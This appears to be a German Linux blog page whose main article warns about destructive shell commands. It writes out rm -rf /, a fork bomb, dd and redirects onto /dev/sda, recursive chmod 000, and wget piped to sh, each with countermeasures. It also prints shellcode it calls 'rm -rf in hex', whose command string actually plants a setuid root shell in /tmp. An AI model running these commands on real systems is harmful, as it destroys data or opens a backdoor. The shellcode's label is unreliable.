Shell­script

Ein Shell­script ist ein wenig der Batch­da­tei in Win­dows ähn­lich. Ein Shell­script arbei­tet im Nor­mal­fall im Ter­mi­nal. Da die Bash, das ist unse­re Shell, unter Linux aber all­mäch­tig ist, hinkt der Ver­gleich mit der Batch­da­tei von Win­dows. Denn auch die soge­nann­te “PowerS­hell” von Win­dows hat nicht annä­hernd die Kraft einer Bash.

Inhalts­ver­zeich­nis

Shell­script wei­ter­le­sen

Aktua­li­sie­rung, Repa­ra­tur und Berei­ni­gung von Debi­an, Ubun­tu und Mint

Da ich gern mein Debi­an basie­ren­des Sys­tem selbst aktua­li­sie­ren woll­te, hat­te ich mir die­ses Bash-Script geschrie­ben. Zudem lösche ich damit alte Ker­nel die ich nicht mehr nut­ze und repa­rie­re miss­glück­te Aktua­li­sie­run­gen. Also hier mein zwei­tes Script.

Inhalts­ver­zeich­nis

Aktua­li­sie­rung, Repa­ra­tur und Berei­ni­gung von Debi­an, Ubun­tu und Mint wei­ter­le­sen

Instal­lier­te Pro­gram­me als Lis­te

Um eine Über­sicht mei­ner instal­lier­ten Pro­gram­me zu erhal­ten, habe ich mir die­se Script geschrie­ben. Die­ses Bash-Script ist das ers­te, das ich ver­öf­fent­li­che.

Inhalts­ver­zeich­nis

Instal­lier­te Pro­gram­me als Lis­te wei­ter­le­sen

Gefähr­li­che Befeh­le, Linux-Bom­­ben


Inhalts­ver­zeich­nis

Vor­wort
1. rm
2. rm -rf in hexa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. Device Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Befeh­le
Fazit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Maschi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Maschi­ne instal­liert und mehr­fach kopiert.


1. rm

Die bekann­tes­te Linux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad anzu­ge­ben, auch wenn man in einem Unter­ver­zeich­nis ist, denn die­ser Befehl geht über die Wur­zel. Und es ist auch hoch bezahl­ten Admins schon pas­siert.

sudo rm -rf /

Die­ser Befehl löscht ohne Nach­fra­ge rekur­siv alles ab Wur­zel­ver­zeich­nis. Alles heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht unter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Gegen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor unbe­ab­sich­tig­ten löschen hel­fen. Wer sich aber dar­an gewöhnt und auf einen anderen/neuen Rech­ner kein “safe-rm” instal­liert hat, dann ist “rm” ist sei­ner Gewalt nicht zu brem­sen.
Ansons­ten hilft auch kein beten.
Quel­le
Wei­te­res in jedem Linux-Hand­buch und jeder Unix-Befehls­re­fe­renz.


2. rm -rf in hexa­de­zi­mal

Ist genau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubun­tu müss­ten dazu die Pake­te release und bikes­hed instal­liert sein. Hat bei mir unter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und damit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die defi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine typi­sche Fork­bomb. Funk­tio­niert unter Ubun­tu. Bös­ar­tig, es wird am Anfang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Gegen­maß­nah­me
Schutz gibt es, wenn die Datei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das Inter­net hilft bei vie­len Gele­gen­hei­ten, aber ersetzt nicht das eige­ne Den­ken. Kopie­ren und Ein­fü­gen kann gefähr­lich sein. Hin­ter einer harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Gegen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tat­säch­lich ent­stan­den um Daten, die als unwich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Befehls­zei­le löscht das gesam­te /home-Ver­zeich­nis des ange­mel­de­tem Benut­zers.

mv ~ /dev/null

In Ubun­tu ist dafür kei­ne Berech­ti­gung vor­han­den.
Gegen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun haben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den Inhalt eines Ver­zeich­nis als Text­da­tei abzu­le­gen. Und bei Ände­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Datei am Ende nach.

ls > /dev/sda

Wird aber die­ser Befehl aus­ge­führt über­schreibt er die genann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein ande­rer Befehl genom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist dafür kei­ne Berech­ti­gung vor­han­den.
Gegen­maß­nah­me
Immer erst in einer vir­tu­el­len Maschi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Bequem­lich­keit wie kopie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung gestellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen Infor­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Beschrei­bung des Skrip­tes mit dem tat­säch­li­chem Inhalt über­ein­stimmt, ist hier nicht plau­si­bel erwie­sen.
Hat in mei­ner Ubun­tu-Instal­la­ti­on nicht funk­tio­niert.
Gegen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Gefahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Kopie­ren gedacht. Hier ist Miss­brauch mög­lich, um Daten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zufalls­zah­len auf die gesam­te Fest­plat­te geschrie­ben und somit der vor­han­de­ne Inhalt gelöscht.
Gegen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Befeh­le die vor­sich­tig ange­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht getes­tet, erschei­nen aber logisch.

sudo chmod 000 -R /

Rech­te wer­den rekur­siv ent­zo­gen oder kei­ne erteilt wie man´s sieht. Daten blei­ben aber erhal­ten.
Mit umask wären sicher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Datei mit +i unver­än­der­lich set­zen

sudo chattr -i root

Attri­but wie­der ent­fer­nen


10. Fazit

Das sind wohl eini­ge der bekann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei ange­bo­te­ner Hil­fe das eige­ne Den­ken die ers­te Hür­de sein und ein gesun­des Maß an Miss­trau­en, ob ande­re nicht auch Flüch­tig­keits­feh­ler machen, wäre ange­bracht.


Quel­len

Linux-Hand­buch von Kof­ler, Gal­li­leo-Ver­lag
Unix-Befehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Fort­schritts­an­zei­ge bei Fest­plat­te löschen oder kopie­ren oder beschrei­ben durch dd oder dcfldd oder pv

Mit­un­ter sind trotz schnel­lem PC eini­ge Vor­gän­ge sehr zeit­auf­wen­dig. Dazu gehö­ren Befeh­le die eine Fest­plat­te kopie­ren, beschrei­ben oder sogar kom­plett löschen. Da wäre eine Fort­schritts­an­zei­ge sehr hilf­reich.

Inhalts­ver­zeich­nis

Fort­schritts­an­zei­ge bei Fest­plat­te löschen oder kopie­ren oder beschrei­ben durch dd oder dcfldd oder pv wei­ter­le­sen

Beid­sei­ti­ger Wech­sel QEMU und Vir­tu­al­Box

Nun hat­te ich schon qemu vor­ge­stellt. Trotz­dem kann es vor­kom­men das man die Vir­tu­al­Box vor­zieht.
Um die Fest­plat­ten-Abbil­der nicht neu zu erstel­len, kann man die­se in bei­de Rich­tun­gen kon­ver­tie­ren. Wobei qemu als, mei­ner Mei­nung nach, das bes­se­re und nati­ve Pro­gramm mehr For­ma­te ver­wal­ten kann, als Vir­tu­al­Box. Denn qemu lädt auch die von der Vir­tu­al­Box erstell­ten Abbil­der. Vir­tu­al­Box kann aber die For­ma­te die ich mit qemu erstellt habe, nicht laden.

Inhalts­ver­zeich­nis

Beid­sei­ti­ger Wech­sel QEMU und Vir­tu­al­Box wei­ter­le­sen

Zugriffs­rech­te vom Ver­zeich­nis “gvfs”

Pro­blem
Unter Ubun­tu ist mir jetzt mehr­fach das ver­steck­te Ver­zeich­nis “.gvfs” auf­ge­fal­len. Er ist im jewei­li­gen home-Ver­zeich­nis des Benut­zers und hat manch­mal die Zugriffs­rech­te auf root gesetzt. Nun ist das nicht unbe­dingt hin­der­lich im täg­li­chen Betrieb, aber

  1. Was ist gvfs über­haupt?
  2. War­um hat ein Ver­zeich­nis das nur den Benut­zer gehö­ren soll, root-Rech­te?
  3. Von rsync wird natür­lich ein Feh­ler aus­ge­ge­ben.
  4. War­um kön­nen die Rech­te mit chown nicht auf den Benut­zer gesetzt wer­den?

Lösung

  1. Gvfs kann man mit “Gno­me vir­tu­al File­sys­tem” auf­lö­sen. Das ist die Ver­knüp­fung von ver­schie­den Gerä­ten mit ihren ver­schie­de­nen Datei­sys­te­men, wie Win­dows sein NTFS oder Datei­sys­te­me die über Netz­wer­ke erreich­bar sind.
  2. Das weiß ich auch nicht, even­tu­ell ist hier ein Sicher­heits­kon­zept zu weit gegan­gen.
  3. Feh­ler­mel­dun­gen sind immer ärger­lich und man möch­te die­se ver­ste­hen und behe­ben.
  4. Und jetzt mei­ne gefun­de­ne Lösung. Erst dach­te ich bei der Ein­rich­tung eines neu­en PC, das die Ursa­che bei der ange­schlos­se­nen, eben­falls neu­en exter­nen Fest­plat­te mit ihrem NTFS-Datei­sys­tem liegt. Doch das zurück­ho­len der Rech­te gelang immer noch nicht. Nach län­ge­rem Nach­den­ken kam ich dar­auf, dass die Sper­rung auf Grund eines gestar­te­tem Dae­mon, Diens­tes, erfolgt. Daher sah ich im Auto­start nach und fand das “Blu­e­mann-App­let”, ein Blue­tooth-Mana­ger. Blue­tooth ist eine Netz­werk­tech­no­lo­gie für kur­ze kabel­lo­se Ver­bin­dun­gen zu ande­ren Datei­sys­te­men.
    Und das war es. Ich benut­ze aus mei­nem Sicher­heits­ver­ständ­nis kein Blue­tooth und habe es kur­zer­hand für immer ent­fernt, deak­ti­vie­ren wür­de aber auch rei­chen.
    Nun konn­te ich nach einem Neu­start ohne den Blue­tooth-Diens­ten die Rech­te wie­der zurück erlan­gen. Die Opti­on rekur­siv nur aus Faul­heit um das Ver­zeich­nis nicht noch unter­su­chen zu müs­sen auf even­tu­el­le Inhal­te.

Ein­ga­be in der Kon­so­le

amnesia@amnesia:~$ sudo chown -R amnesia:amnesia .gvfs

Rech­te­prü­fung im Ter­mi­nal

amnesia@amnesia:~$ ls -al

Die Rech­te vor­her: dr-x—— 2 root root
Die Rech­te danach: drwx—— 2 amne­sia amne­sia

Mit chmod hät­te ich das Pro­blem schnel­ler gelöst, also zuerst Schreib­rech­te ein­for­dern und dann Benut­zer­wech­sel, nur hät­te ich die Ursa­che nicht erkannt.


Schlag­wor­te:
“Die ange­for­der­te Funk­ti­on ist nicht imple­men­tiert”, “Per­mis­si­on denied”, chown, chmod, fsck, ver­steck­te Ver­zeich­nis­se / Ord­ner, Zugriffs­rech­te, Datei­sys­tem, Schreib­schutz